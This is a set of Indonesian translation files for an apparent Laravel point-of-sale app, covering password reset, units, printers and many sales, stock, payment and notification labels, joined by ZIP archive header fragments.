|-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Kata sandi minimal harus 6 karakter dan cocok dengan konfirmasi.', 'reset' => 'Kata sandi Anda telah disetel ulang!', 'sent' => 'Kami telah mengirim e-mail tautan atur ulang kata sandi Anda!', 'token' => 'Token reset password ini tidak valid.', 'user' => 'Kami tidak dapat menemukan pengguna dengan alamat email itu.', ]; PK G �Z��7�� � id/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'Satuan', 'manage_your_units' => 'Mengelola satuan Anda', 'all_your_units' => 'Semua satuan Anda', 'name' => 'Nama', 'short_name' => 'Nama singkat', 'allow_decimal' => 'Izinkan desimal', 'added_success' => 'Satuan berhasil ditambahkan', 'updated_success' => 'Satuan berhasil diperbarui', 'deleted_success' => 'Satuan berhasil dihapus', 'add_unit' => 'Tambah Satuan', 'edit_unit' => 'Edit Satuan', ]; PK G �Zs��= = id/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'Printer', 'add_printer' => 'Tambah Printer', 'name' => 'Nama Printer', 'connection_type' => 'Jenis Koneksi', 'capability_profile' => 'Profil Kemampuan', 'ip_address' => 'Alamat IP', 'port' => 'Port', 'path' => 'Path', 'added_success' => 'Printer berhasil ditambahkan', 'manage_your_printers' => 'Mengelola Printer Anda', 'all_your_printer' => 'Semua Printer yang dikonfigurasi', 'deleted_success' => 'Printer berhasil dihapus', 'edit_printer_setting' => 'Edit Konfigurasi Printer', 'receipt_printers' => 'Printer Receipt', 'character_per_line' => 'Karakter per baris', 'printer_name' => 'Nama Printer', 'updated_success' => 'Printer berhasil diperbarui', 'edit_printer' => 'Edit Printer', ]; PK G �ZdW��9 �9 id/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Aktifkan pengeditan harga produk dari layar pembelian', 'sales_commission_agent' => 'Agen Komisi Penjualan', 'sales_commission_agents' => 'Agen Komisi Penjualan', 'disable' => 'Nonaktif', 'logged_in_user' => 'Masuk sebagai pengguna', 'select_from_users_list' => 'Pilih dari daftar pengguna', 'select_from_commisssion_agents_list' => 'Pilih dari daftar agen komisi', 'add_sales_commission_agent' => 'Tambahkan agen komisi penjualan', 'commission_agent_added_success' => 'Agen komisi berhasil ditambahkan', 'edit_sales_commission_agent' => 'Edit agen komisi penjualan', 'commission_agent_updated_success' => 'Agen komisi berhasil diperbarui', 'commission_agent_deleted_success' => 'Agen komisi berhasil dihapus', 'contact_no' => 'No. Kontak', 'commission_agent' => 'Agen Komisi', 'cmmsn_percent' => 'Persentase Komisi Penjualan (%)', 'sales_added' => 'Penjualan Ditambahkan', 'sales_with_commission' => 'Penjualan dengan Komisi', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'Total Komisi Penjualan', 'sales_item_addition_method' => 'Metode Penambahan Item Penjualan', 'add_item_in_new_row' => 'Tambahkan item di baris baru', 'increase_item_qty' => 'Tambah kuantitas barang jika sudah ada', 'stock_transfers' => 'Transfer Stok', 'all_stock_transfers' => 'Semua Transfer Stok', 'add_stock_transfer' => 'Tambah Transfer Stok', 'list_stock_transfers' => 'Daftar Transfer Stok', 'location_from' => 'Lokasi (Dari)', 'location_to' => 'Lokasi (Sampai)', 'shipping_charges' => 'Ongkos Kirim', 'stock_transfer_added_successfully' => 'Transfer stok berhasil ditambahkan', 'stock_transfer_delete_success' => 'Transfer stok berhasil dihapus', 'stock_transfer_cannot_be_deleted' => 'Transfer stok ini tidak dapat dihapus karena beberapa stok sudah terjual', 'total_transfer_shipping_charges' => 'Total Transfer Ongkos Kirim', 'enable_inline_tax' => 'Aktifkan baris pajak di pembelian dan penjualan', 'save_n_add_opening_stock' => 'Simpan & Tambahkan Stok Awal', 'add_opening_stock' => 'Tambah Stok Awal', 'opening_stock_added_successfully' => 'Stok awal berhasil ditambahkan', 'update_n_edit_opening_stock' => 'Perbarui & Edit Stok Awal', 'total_amount_exc_tax' => 'Jumlah Total (Exc. Pajak)', 'currency_symbol_placement' => 'Penempatan Simbol Mata Uang', 'before_amount' => 'Sebelum jumlah', 'after_amount' => 'Setelah jumlah', 'barcode_label_error' => 'SKU Id tidak didukung untuk jenis barcode yang dipilih', 'list_products' => 'Daftar Produk', 'list_expenses' => 'Daftar Biaya', 'add_expiry' => 'Tambahkan item kedaluwarsa', 'add_manufacturing_auto_expiry' => 'Tambahkan tanggal pembuatan & masa kedaluwarsa', 'tooltip_enable_expiry' => 'Aktifkan kedaluwarsa produk. <br/> <br/><b>Tambahkan item kedaluwarsa</b>: Untuk langsung menambahkan item kedaluwarsa saja. <br/> <b>Tambahkan tanggal pembuatan & masa kedaluwarsa</b>: Untuk menambahkan tanggal pembuatan & masa kedaluwarsa dan menghitung tanggal kedaluwarsa berdasarkan itu.', 'quantity' => 'Kwantitas', 'on_product_expiry' => 'Pada Produk Kedaluwarsa', 'keep_selling' => 'Terus Jual', 'stop_selling' => 'Hentikan Jual n hari sebelumnya', 'tooltip_on_product_expiry' => 'Tentukan tindakan yang perlu dilakukan pada kedaluwarsa produk. <br><br> <b>Terus Jual</b>: Produk akan tetap dijual setelah kedaluwarsa juga. <br> <b>Hentikan Penjualan</b>: Hentikan penjualan barang n hari sebelum kedaluwarsa.', 'output_tax_minus_input_tax' => 'Pajak Keluaran - Pajak Masukan', 'total_purchase_discount' => 'Total diskon pembelian', 'total_sell_discount' => 'Total diskon penjualan', 'updated_succesfully' => 'Berhasil Diperbarui', 'default_unit' => 'Satuan Default', 'enable_brand' => 'Aktifkan Merek', 'enable_category' => 'Aktifkan Kategori', 'enable_sub_category' => 'Aktifkan Sub-Kategori', 'enable_price_tax' => 'Aktifkan Harga & Info Pajak', 'enable_purchase_status' => 'Aktifkan Status Pembelian', 'tooltip_enable_purchase_status' => 'Pada penonaktifan semua pembelian akan ditandai sebagai <i>Item Diterima</i>', 'recent_product_quantity' => 'Pergi ke kuantitas produk', 'full_screen' => 'Tekan F11 untuk membuka Layar Penuh', 'Uncategorised' => 'Tidak dikategorikan', 'no_products_to_display' => 'Tidak ada produk untuk ditampilkan', 'item_out_of_stock' => 'Produk kehabisan stok', 'go_back' => 'Kembali', 'disable_pay_checkout' => 'Nonaktifkan bayar & checkout', 'disable_draft' => 'Nonaktifkan Konsep', 'disable_express_checkout' => 'Nonaktifkan Ekspres Checkout', 'hide_product_suggestion' => 'Jangan tunjukkan saran produk', 'hide_recent_trans' => 'Jangan tampilkan transaksi terkini', 'pos_settings' => 'Pengaturan POS', 'disable_discount' => 'Nonaktifkan Diskon', 'disable_order_tax' => 'Nonaktifkan pajak pesanan', 'customer_groups' => 'Grup Pelanggan', 'customer_group' => 'Grup Pelanggan', 'all_your_customer_groups' => 'Semua Grup Pelanggan', 'add_customer_group' => 'Tambahkan Grup Pelanggan', 'customer_group_name' => 'Nama Grup Pelanggan', 'calculation_percentage' => 'Persentase Perhitungan (%)', 'tooltip_calculation_percentage' => '<b>Harga jual = Harga jual Ditentukan untuk produk + Persentase kalkulasi </b> <br/> <br/> Anda dapat menentukan persentase sebagai positif untuk menaikan dan negatif untuk menurunkan harga jual.', 'success' => 'Berhasil', 'edit_customer_group' => 'Edit Grup Pelanggan', 'customer_groups_report' => 'Laporan Grup Pelanggan', 'none' => 'Tidak ada', 'enable_imei_or_sr_no' => 'Aktifkan deskripsi Produk, IMEI atau Nomor Seri', 'tooltip_sr_no' => 'Mengaktifkan atau menonaktifkan menambahkan deskripsi produk, IMEI atau nomor seri saat menjual produk di layar POS', 'description' => 'Deskripsi', 'sell_line_description_help' => 'Tambahkan IMEI produk, nomor seri atau informasi lainnya di sini.', 'unit_cost_before_discount' => 'Modal satuan (Sebelum Diskon)', 'discount_percent' => 'Diskon Persen %', 'profit_margin' => 'Profit Margin %', 'discount_percent' => 'Diskon Persen', 'application_tour' => 'Tur Aplikasi', 'profile' => 'Profil', 'sign_out' => 'Keluar', 'my_profile' => 'Profil saya', 'Admin' => 'Admin', 'Cashier' => 'Kasir', 'both_supplier_customer' => 'Keduanya (Pemasok dan Pelanggan)', 'months' => 'Bulan', 'days' => 'Hari', 'suppliers' => 'Pemasok', 'customers' => 'Pelanggan', 'enter_product_name_to_print_labels' => 'Masukkan nama produk untuk mencetak label', 'manage_product_variations' => 'Kelola varian produk', 'all_variations' => 'Semua Varian', 'values' => 'Nilai-nilai', 'add_variation' => 'Tambah Varian', 'variation_name' => 'Nama Varian', 'add_variation_values' => 'Tambahkan nilai varian', 'edit_variation' => 'Edit Varian', 'received' => 'Diterima', 'pending' => 'Tertunda', 'ordered' => 'Dipesan', 'search_product_placeholder' => 'Masukkan nama Produk / SKU / Pindai barcode', 'fixed' => 'Tetap', 'percentage' => 'Persentase', 'select_location' => 'Pilih lokasi', 'add_description' => 'Tambahkan deskripsi', 'cash' => 'Tunai', 'card' => 'Kartu', 'cheque' => 'Cek', 'bank_transfer' => 'Tranfer Bank', 'other' => 'Lainnya', 'payment' => 'Pembayaran', 'total_items' => 'Total Item', 'total_paying' => 'Total Pembayaran', 'balance' => 'Saldo', 'payment_method' => 'Metode pembayaran', 'card_no' => 'Nomor Kartu', 'card_holder_name' => 'Nama pada kartu', 'card_transaction_no' => 'Nomor Transaksi Kartu', 'card_type' => 'Jenis Kartu', 'month' => 'Bulan', 'year' => 'Tahun', 'security_code' => 'Kode Keamanan', 'cheque_no' => 'Nomor Cek', 'bank_account_number' => 'Akun Bank No', 'paid' => 'Dibayar', 'due' => 'Tempo', 'partial' => 'Sebagian', 'no_of_products' => 'Jumlah produk', 'select_a_date_range' => 'Pilih rentang tanggal', 'shortcut_help' => "Shortcut harus merupakan nama-nama tombol yang dipisahkan oleh '+'", 'example' => 'Contoh', 'available_key_names_are' => 'Nama kunci yang tersedia adalah', 'add_new_product' => 'Tambahkan produk baru', 'invoice_logo_help' => 'Maks :max_size, format jpeg,gif,png saja.', 'invoice_logo_help2' => 'Unggah hanya jika Anda ingin mengganti logo sebelumnya', 'printer_name_help' => 'Nama Deskripsi Singkat untuk mengenali printer', 'char_per_line_help' => 'Jumlah karakter yang dapat dicetak per baris', 'ip_address_help' => 'Alamat IP untuk menghubungkan ke printer', 'port_help' => 'Sebagian besar printer berfungsi pada port 9100', 'combination_of_taxes' => 'Kombinasi berbagai pajak', 'product_purchase_report' => 'Laporan Pembelian Produk', 'unit_perchase_price' => 'Harga Pembelian Satuan', 'search_product' => 'Cari Produk', 'product_sell_report' => 'Laporan Penjualan Produk', 'unit_sale_price' => 'Harga Jual Satuan', 'contact_id' => 'ID Kontak', 'category_code_help' => 'Kode kategori sama dengan <b>kode HSN</b>', 'sub_heading_line' => 'Sub Baris Judul :_number_', 'date_label' => 'Label Tanggal', 'client_id_label' => 'Label ID Klien', 'product_label' => 'Label produk', 'qty_label' => 'Label Kuantitas', 'unit_price_label' => 'Label Harga Satuan', 'subtotal_label' => 'Label Subtotal', 'product_details_to_be_shown' => 'Detail produk yang akan ditampilkan', 'show_brand' => 'Tampilkan merek', 'show_sku' => 'Tampilkan SKU', 'show_cat_code' => 'Tampilkan kode kategori atau kode HSN', 'show_client_id' => 'Tampilkan ID klien', 'show_time_with_date' => 'Tunjukkan waktu dengan tanggal', 'show_sale_description' => 'Tampilkan deskripsi penjualan', 'product_imei_or_sn' => '(IMEI atau Nomor Seri Produk)', 'purchase_already_exist' => 'Produk tidak dapat dihapus karena pembelian terkait produk ini ada', 'opening_stock_sold' => 'Produk tidak dapat dihapus karena beberapa stok dijual', 'stock_adjusted' => 'Produk tidak dapat dihapus karena beberapa stok disesuaikan', 'product_delete_success' => 'Produk berhasil dihapus', 'manage_products' => 'Kelola produk Anda', 'all_products' => 'Semua produk', 'login' => 'Masuk', 'register' => 'Daftar', 'username' => 'Nama pengguna', 'password' => 'Kata sandi', 'remember_me' => 'Ingat saya', 'forgot_your_password' => 'Lupa kata sandi Anda?', 'reset_password' => 'Setel Ulang Kata Sandi', 'email_address' => 'Alamat E-Mail', 'send_password_reset_link' => 'Kirim Tautan Setel Ulang Kata Sandi', 'instructions' => 'Petunjuk', 'instruction_line1' => 'Ikuti petunjuk dengan seksama sebelum mengimpor file.', 'instruction_line2' => 'Kolom file CSV harus dalam urutan sebagai berikut.', 'col_no' => 'Nomor kolom', 'col_name' => 'Nama kolom', 'instruction' => 'Petunjuk', 'required' => 'Wajib', 'optional' => 'Opsional', 'name_ins' => 'Nama produk', 'brand_ins' => 'Nama merek', 'brand_ins2' => 'Jika tidak ditemukan merek baru dengan nama yang diberikan akan dibuat', 'unit_ins' => 'Nama satuan', 'category_ins' => 'Nama Kategori', 'category_ins2' => 'Jika tidak ditemukan kategori baru dengan nama yang diberikan akan dibuat', 'sub_category_ins' => 'Nama Sub-Kategori', 'sub_category_ins2' => 'Jika tidak ditemukan sub-kategori baru dengan nama yang diberikan di bawah Kategori induk <br> akan dibuat', 'sku_ins' => 'SKU Produk. Jika kosong, SKU akan dibuat secara otomatis', 'barcode_type_ins' => 'Jenis barcode untuk produk.', 'barcode_type_ins2' => 'Saat ini didukung', 'default' => 'Defaul', 'manage_stock_ins' => 'Aktifkan atau nonaktifkan manajemen stok', 'alert_qty_ins' => 'Diperlukan jika manajemen Stok adalah 1', 'expires_in_ins' => 'Periode kedaluwarsa produk (Hanya dalam jumlah)', 'expire_period_unit' => 'Satuan Periode Kedaluwarsa', 'available_options' => 'pilihan yang tersedia', 'expire_period_unit_ins' => 'Unit untuk periode kedaluwarsa', 'applicable_tax_ins' => 'Nama Tarif Pajak', 'variation_name_ins' => 'Diperlukan jika jenis produk adalah variabel', 'variation_name_ins2' => 'Nama varian (Mis: Ukuran, Warna, dll)', 'variation_values_ins' => 'Diperlukan jika jenis produk adalah variabel', 'variation_values_ins2' => "Nilai untuk varian dipisahkan dengan '|' Aplikasi (Mis: Merah | Biru | Hijau)", 'purchase_price_inc_tax' => 'Harga Pembelian (Termasuk Pajak)', 'purchase_price_inc_tax_ins1' => 'Diperlukan jika Harga Pembelian Tidak Termasuk Pajak tidak diberikan', 'purchase_price_inc_tax_ins2' => "Harga Pembelian (Termasuk Pajak) (Hanya dalam angka) <br> <br> Untuk produk variabel '|' nilai yang dipisahkan dengan <br> dengan urutan yang sama dengan Nilai Varian <br> (Mis: 84|85|88)", 'purchase_price_exc_tax' => 'Harga Pembelian (Tidak Termasuk Pajak)', 'purchase_price_exc_tax_ins1' => 'Diperlukan jika Harga Pembelian Termasuk Pajak tidak diberikan', 'purchase_price_exc_tax_ins2' => "Harga Pembelian (Tidak Termasuk Pajak) (Hanya dalam angka) <br> <br> Untuk produk variabel '|' nilai yang dipisahkan dengan <br> dengan urutan yang sama dengan Nilai Varian <br> (Mis: 84|85|88)", 'profit_margin_ins' => 'Profit Margin (Hanya dalam angka)', 'profit_margin_ins1' => 'Jika profit margin default kosong untuk <br> bisnis akan digunakan', 'selling_price' => 'Harga penjualan', 'selling_price_ins' => 'Harga Jual (Hanya dalam angka)', 'selling_price_ins1' => 'Jika harga jual kosong akan dihitung Aplikasi dengan Pajak Harga Beli yang diberikan dan Pajak yang Berlaku', 'opening_stock' => 'Stok Awal', 'opening_stock_ins' => 'Stok Awal (Hanya angka)', 'only_applicable_to_single_product' => 'Hanya berlaku untuk produk single', 'purchase_delete_success' => 'Pembelian berhasil dihapus', 'location_ins' => 'Jika lokasi bisnis pertama kosong akan digunakan', 'location_ins1' => 'Nama lokasi bisnis', 'expiry_date' => 'Tanggal kadaluarsa', 'expiry_date_ins' => 'Tanggal Kedaluwarsa Stok <br> <b> Format: mm-dd-yyyy; Mis: 11-25-2018 </b>', 'enable_lot_number' => 'Aktifkan nomor Lot', 'tooltip_enable_lot_number' => 'Ini akan memungkinkan Anda untuk memasukkan nomor Lot untuk setiap baris pembelian di layar pembelian', 'lot_number' => 'Jumlah Lot', 'enable_racks' => 'Aktifkan Rak', 'tooltip_enable_racks' => 'Aktifkan ini untuk menambahkan detail rak produk untuk lokasi bisnis yang berbeda sambil menambahkan produk', 'rack_details' => 'Rak/Baris/Rincian Posisi', 'tooltip_rack_details' => 'Masukkan rincian tempat produk disimpan di toko, untuk lokasi bisnis yang berbeda.', 'updated_success' => 'Berhasil Diperbarui', 'added_success' => 'Berhasil ditambahkan', 'deleted_success' => 'Dihapus dengan sukses', 'enable_disable_modules' => 'Aktifkan/Nonaktifkan Modul', 'opening_stock_help_text' => "<br> <br> Untuk produk variabel, pisahkan jumlah stok dengan '|' <br> (Contoh: 100 | 150 | 200)", 'applicable_tax_help' => '<br> <br/> Jika Harga Pembelian (Tidak Termasuk Pajak) tidak sama dengan <br/> Harga Pembelian (Termasuk Pajak) <br/> maka Anda harus memberikan nama tarif pajak.', 'sale_delete_success' => 'Penjualan berhasil dihapus', 'click_to_edit' => 'Klik untuk mengedit', 'click_to_delete' => 'Klik untuk menghapus', 'quotation_heading' => 'Judul Penawaran', 'quotation' => 'Penawaran', 'quotation_no_prefix' => 'No. label Penawaran', 'tooltip_quotation_heading' => 'Judul Penawaran atau Perkiraan digunakan saat memberikan penawaran kepada pelanggan.', 'quotation_added' => 'Penawaran berhasil ditambahkan', 'quotation_updated' => 'Penawaran berhasil diperbarui', 'product_sold_details_register' => 'Detail produk yang dijual', 'grand_total' => 'Grand Total', 'change_return' => 'Ubah Pengembalian', 'date_format' => 'Format Tanggal', 'time_format' => 'Format Jam', '12_hour' => '12 Jam', '24_hour' => '24 Jam', 'list_quotations' => 'Daftar Penawaran', 'list_drafts' => 'Daftar Konsep', 'you_cannot_delete_this_contact' => 'Tidak dapat menghapus kontak - Transaksi sudah ada pada kontak.', 'enable_row' => 'Aktifkan Baris', 'enable_position' => 'Aktifkan Posisi', 'rack' => 'Rak', 'row' => 'Baris', 'position' => 'Posisi', 'weight' => 'Berat', 'rack_help_text' => "Detail rak dipisahkan oleh '|' untuk lokasi bisnis yang berbeda secara seri. <br/> (Mis: R1|R5|R12) ", 'row_help_text' => "Detail baris dipisahkan oleh '|' untuk lokasi bisnis yang berbeda secara serial. <br/> (Mis: ROW1|ROW2|ROW 3) ", 'position_help_text' => "Detail posisi dipisahkan oleh '|' untuk lokasi bisnis yang berbeda secara serial. <br/> (Mis: POS1|POS2|POS3) ", 'import_opening_stock' => 'Impor Stok Awal', 'tooltip_import_opening_stock' => 'Fitur ini digunakan untuk mengimpor stok awal produk yang sudah ditambahkan. Jika produk tidak ditambahkan dalam sistem maka disarankan untuk menggunakan produk impor untuk menambahkan detail produk dengan stok awal.', 'design' => 'Desain', 'express_checkout_cash' => 'Tunai', 'express_checkout_card' => 'Kartu', 'checkout_multi_pay' => 'Multi Bayar', 'tooltip_checkout_multi_pay' => 'Checkout menggunakan beberapa metode pembayaran', 'tooltip_express_checkout_card' => 'Ekspres Checkout menggunakan kartu', 'card_transaction_details' => 'Detail transaksi kartu', 'client_tax_label' => 'Label nomor pajak klien', 'cat_code_label' => 'Kategori atau label kode HSN', 'list_sell_return' => 'Daftar Retur Jual', 'sell_return' => 'Retur Jual', 'layout_credit_note' => 'Catatan Kredit / Rincian Retur Jual', 'cn_heading' => 'Judul', 'cn_no_label' => 'Nomor Referensi', 'cn_amount_label' => 'Jumlah total', 'custom_field' => 'Bidang kustom :number', 'website' => 'Website', 'total_credit_amt' => 'Jumlah Total Kredit', 'unit_sell_price' => 'Harga Jual Satuan', 'prefixes' => 'Awalan', 'purchase_order' => 'Pesanan Pembelian', 'stock_transfer' => 'Mutasi Stok', 'purchase_payment' => 'Pembayaran Pembelian', 'sell_payment' => 'Pembayaran Penjualan', 'location_id' => 'ID Lokasi', 'add_edit_opening_stock' => 'Tambah & edit stok awal', 'expiry_date_will_be_changed_in_pl' => 'Tanggal kedaluwarsa dari baris pembelian akan diubah', 'remove_from_stock' => 'Hapus dari stok', 'stock_removed_successfully' => 'Stok berhasil dihapus', 'product_image' => 'Gambar produk', 'aspect_ratio_should_be_1_1' => 'Aspek Rasio harus 1:1', 'previous_image_will_be_replaced' => 'Gambar yang diunggah sebelumnya akan diganti', 'all_category' => 'Semua Kategori', 'all_brands' => 'Semua Merek', 'backup' => 'Administer Backup', 'download_complete_backup' => 'Unduh cadangan lengkap', 'backup_doesnt_exist' => 'Cadangan Tidak Ada', 'lot_report' => 'Laporan Lot', 'purchase_payment_report' => 'Laporan Pembayaran Pembelian', 'paid_on' => 'Dibayarkan pada', 'purchase' => 'Membeli', 'cheque_no' => 'No. Cek', 'card_transaction_no' => 'No. Transaksi Kartu', 'bank_account_no' => 'No. Rekening Bank', 'sell_payment_report' => 'Laporan Pembayaran Penjualan', 'restaurant' => 'Restoran', 'user_type' => 'Tipe Pengguna', 'business_inactive' => 'Maaf, bisnis Anda tidak aktif !!', 'product_custom_field1' => 'Opsional 1', 'product_custom_field2' => 'Opsional 2', 'product_custom_field3' => 'Opsional 3', 'product_custom_field4' => 'Opsional 4', 'image' => 'Gambar', 'image_help_text' => 'Nama gambar dengan ekstensi. <br/> (Nama gambar harus diunggah ke server: path)', 'tooltip_kitchen' => 'Ini adalah layar dapur. Di sini detail pesanan dapat dilihat dan pesanan dapat ditandai sebagai telah dimasak.', 'tooltip_serviceorder' => 'Ini adalah layar Staf layanan. Staf Layanan dapat menggunakan layar ini untuk melihat semua pesanan untuk mereka dan menandai pesanan sebagai yang dilayani.', 'sales_person_label' => 'Label Tenaga Penjualan', 'show_sales_person' => 'Tampilkan Tenaga Penjualan', 'decimal_value_not_allowed' => 'Nilai desimal tidak diizinkan', 'theme_color' => 'Warna Tema', 'quantity_error_msg_in_lot' => 'Hanya :qty :unit tersedia di Lot yang dipilih', 'show_product_expiry' => 'Tampilkan kedaluwarsa produk', 'show_lot_number' => 'Tampilkan nomor lot', 'expiry' => 'Kadaluwarsa', 'lot' => 'Lot', 'lot_n_expiry' => 'Lot & Kadaluawarsa', 'pos_edit_product_price_help' => 'Edit Harga Unit dan Pajak produk', 'name' => 'Nama', 'payment_type' => 'Tipe pembayaran', 'manage_payment_account' => 'Kelola Akun Pembayaran Anda', 'all_payments' => 'Semua Pembayaran', 'payment_note' => 'Catatan Pembayaran', 'payment_account_deleted_success' => 'Akun pembayaran berhasil dihapus', 'payment_account_updated_success' => 'Akun pembayaran berhasil diperbarui', 'payment_gateway' => 'Gateway Pembayaran Online', 'payment_account_success' => 'Akun pembayaran berhasil ditambahkan', 'payment_account' => 'Akun Pembayaran', 'tooltip_sell_product_column' => 'Klik <i> nama produk </i> untuk mengedit harga, diskon & pajak. <br/> Klik <i> Ikon Komentar </i> untuk memasukkan nomor seri / IMEI atau catatan tambahan. <br/> <br/> Klik <i> Ikon Pengubah </i> (jika diaktifkan) untuk pengubah', 'credit_limit' => 'Batas Kredit', 'credit_limit_help' => 'Kosong (tanpa batas kredit)', 'cutomer_credit_limit_exeeded' => 'Batas Kredit Pelanggan Melebihi <br>:credit_limit', 'custom_payment_1' => 'Pembayaran Khusus 1', 'custom_payment_2' => 'Pembayaran Khusus 2', 'custom_payment_3' => 'Pembayaran Khusus 1', 'transaction_no' => 'No. Transaksi', 'file' => 'File', 'size' => 'Ukuran', 'date' => 'Tanggal', 'age' => 'Umur', 'create_new_backup' => 'Buat Cadangan Baru', 'all_sales' => 'Semua Penjualan', 'opening_balance' => 'Saldo Awal', 'opening_balance_due' => 'Saldo Awal Jatuh Tempo', 'import_contacts' => 'Impor Kontak', 'contact_type_ins' => '<strong>Opsi yang Tersedia: pelanggan, pemasok & keduanya</strong>', 'contact_id_ins' => 'Biarkan kosong untuk menghasilkan ID Kontak secara otomatis', 'required_if_supplier' => 'Diperlukan jika jenis kontak adalah pemasok atau keduanya', 'pay_term_period_ins' => 'Opsi yang Tersedia: hari dan bulan', 'your_username_will_be' => 'Nama pengguna Anda akan', 'currency_exchange_rate' => 'Nilai tukar mata uang', 'select_all' => 'Pilih Semua', 'deselect_all' => 'Tidak Pilih Semua', 'duplicate_product' => 'Produk diduplikasi', 'delete_selected' => 'Hapus yang Dipilih', 'no_row_selected' => 'Tidak ada baris yang dipilih', 'duplicate_sell' => 'Duplikat Penjualan', 'duplicate_sell_created_successfully' => 'Penjualan Duplikat berhasil dibuat', 'modules' => 'Modul', 'theme' => 'Tema', 'account' => 'Akun', 'expense_payment' => 'Pembayaran Biaya', 'expense' => 'Biaya', 'disabled_in_demo' => 'Fitur dinonaktifkan di demo !!', 'selling_price_group' => 'Kelompok Harga Jual', 'all_selling_price_group' => 'Semua Grup Harga Jual', 'add_selling_price_group' => 'Tambahkan Grup Harga Jual', 'edit_selling_price_group' => 'Edit Grup Harga Jual', 'access_selling_price_groups' => 'Akses grup harga jual', 'save_n_add_selling_price_group_prices' => 'Simpan & Tambahkan Harga Jual-Harga-Grup', 'add_selling_price_group_prices' => 'Tambahkan atau edit Harga Grup', 'default_selling_price_inc_tax' => 'Harga Jual Defaul (Inc. Pajak)', 'variation' => 'Varian', 'price_group' => 'Grup Harga', 'group_price' => 'Harga Grup', 'default_selling_price' => 'Harga Jual Default', 'price_group_help_text' => 'Grup Harga Jual di mana Anda ingin menjual', 'group_prices' => 'Grup Harga', 'view_group_prices' => 'Tampilkan Grup Harga', 'save_n_add_another' => 'Simpan Dan Tambah Yang Lain', 'update_n_add_another' => 'Perbarui dan Tambah Lainnya', 'subtotal_editable' => 'Bisa Edit Subtotal', 'subtotal_editable_help_text' => 'Centang ini untuk membuat bidang Subtotal dapat diedit untuk setiap produk di layar POS', 'notification_templates' => 'Template Pemberitahuan', 'new_sale' => 'Penjualan Baru', 'payment_reminder' => 'Pengingat Pembayaran', 'payment_received' => 'Pembayaran diterima', 'new_booking' => 'Booking Baru', 'new_order' => 'Pesanan Baru', 'payment_paid' => 'Pembayaran Lunas', 'items_received' => 'Barang diterima', 'items_pending' => 'Item yang Ditangguhkan', 'customer_notifications' => 'Pemberitahuan Pelanggan', 'supplier_notifications' => 'Pemberitahuan Pemasok', 'email_subject' => 'Judul Email', 'email_body' => 'Isi Email', 'sms_body' => 'Isi SMS', 'available_tags' => 'Tag yang tersedia', 'send_notification' => 'Kirim Pemberitahuan', 'new_sale_notification' => 'Pemberitahuan Penjualan Baru', 'send_email_only' => 'Kirim Email Saja', 'send_sms_only' => 'Kirim SMS Saja', 'send_both_email_n_sms' => 'Kirim Email & SMS', 'to' => 'Kepada', 'mobile_number' => 'Nomor Handphone', 'send' => 'Kirim', 'notification_sent_successfully' => 'Pemberitahuan berhasil dikirim', 'payment_received_notification' => 'Pemberitahuan Pembayaran Diterima', 'send_payment_reminder' => 'Kirim Pengingat Pembayaran', 'new_order_notification' => 'Pemberitahuan Pesanan Baru', 'item_received_notification' => 'Pemberitahuan Menerima Item', 'item_pending_notification' => 'Pemberitahuan Item Tertunda', 'payment_paid_notification' => 'Pemberitahuan Pembayaran Lunas', 'mail_host' => 'Host', 'mail_port' => 'Port', 'mail_username' => 'Nama Pengguna', 'mail_password' => 'Kata Sandi', 'mail_encryption' => 'Enkripsi', 'mail_from_address' => 'Alamat Pengirim', 'mail_from_name' => 'Nama Pengirim', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Pengaturan Email', 'sms_settings' => 'Pengaturan SMS', 'send_to_param_name' => 'Kirim ke nama parameter', 'msg_param_name' => 'Nama pesan parameter', 'sms_settings_param_key' => 'Parameter :number key', 'sms_settings_param_val' => 'Parameter :number value', 'sending' => 'Mengirim', 'request_method' => 'Metode Permintaan', 'purchase_return' => 'Retur Pembelian', 'return_quantity' => 'Kuantitas Retur', 'return_subtotal' => 'Subtotal Retur', 'quantity_left' => 'Kuantitas Buram', 'return_total' => 'Total Retur', 'total_return_tax' => 'Total Retur Pajak', 'purchase_return_added_success' => 'Retur pembelian berhasil ditambahkan', 'list_purchase_return' => 'Daftar Retur Pembelian', 'all_purchase_returns' => 'Semua Retur Pembelian', 'parent_purchase' => 'Pembelian Induk', 'purchase_return_details' => 'Rincian Retur Pembelian', 'return_date' => 'Tanggal Retur', 'parent_sale' => 'Penjualan Induk', 'sell_quantity' => 'Kuantitas Jual', 'total_return_discount' => 'Total Diskon Retur', 'sell_return_details' => 'Rincian Retur Penjualan', 'sell_details' => 'Rincian Penjualan', 'return_discount' => 'Diskon Retur', 'total_unit_transfered' => 'Total Satuan Dimutasikan', 'total_unit_adjusted' => 'Total Satuan Disesuaikan', 'return_exist' => 'Retur ada pada Transaksi, edit retur sebagai gantinya.', 'synced_from_woocommerce' => 'Sinkron dari Woocommerce', 'available_stock_expired' => ' ATAU stok yang tersedia telah kedaluwarsa.', 'sell_payments' => 'Izin untuk Tambah/Edit/Hapus Pembayaran dalam daftar Jual/Daftar layar POS.', 'purchase_payments' => 'Izin untuk Tambah/Edit/Hapus Pembayaran dalam Pembelian Daftar.', 'sell.payments' => 'Tambah/Edit/Hapus Pembayaran', 'purchase.payments' => 'Tambah/Edit/Hapus Pembayaran', 'view_payment' => 'Lihat Pembayaran', 'card_number' => 'No. Kartu', 'transaction_number' => 'Nomor transaksi', 'card_holder_name' => 'Nama pada karu', 'card_number' => 'Nomor karut', 'card_transaction_number' => 'No. Transaksi kartu', 'cheque_number' => 'Nomor cek', 'commsn_percent_help' => "Digunakan hanya jika pengaturan Jenis Agen Penjualan adalah: 'Pengguna yang Masuk' atau 'Pilih dari daftar pengguna'", 'max_amount_to_be_paid_is' => 'Jumlah maksimum adalah :amount', 'adjusted_for' => 'Disesuaikan Untuk', 'some_qty_returned' => 'Beberapa jumlah diretur dari pembelian ini', 'total_purchase_return' => 'Total Retur Pembelian', 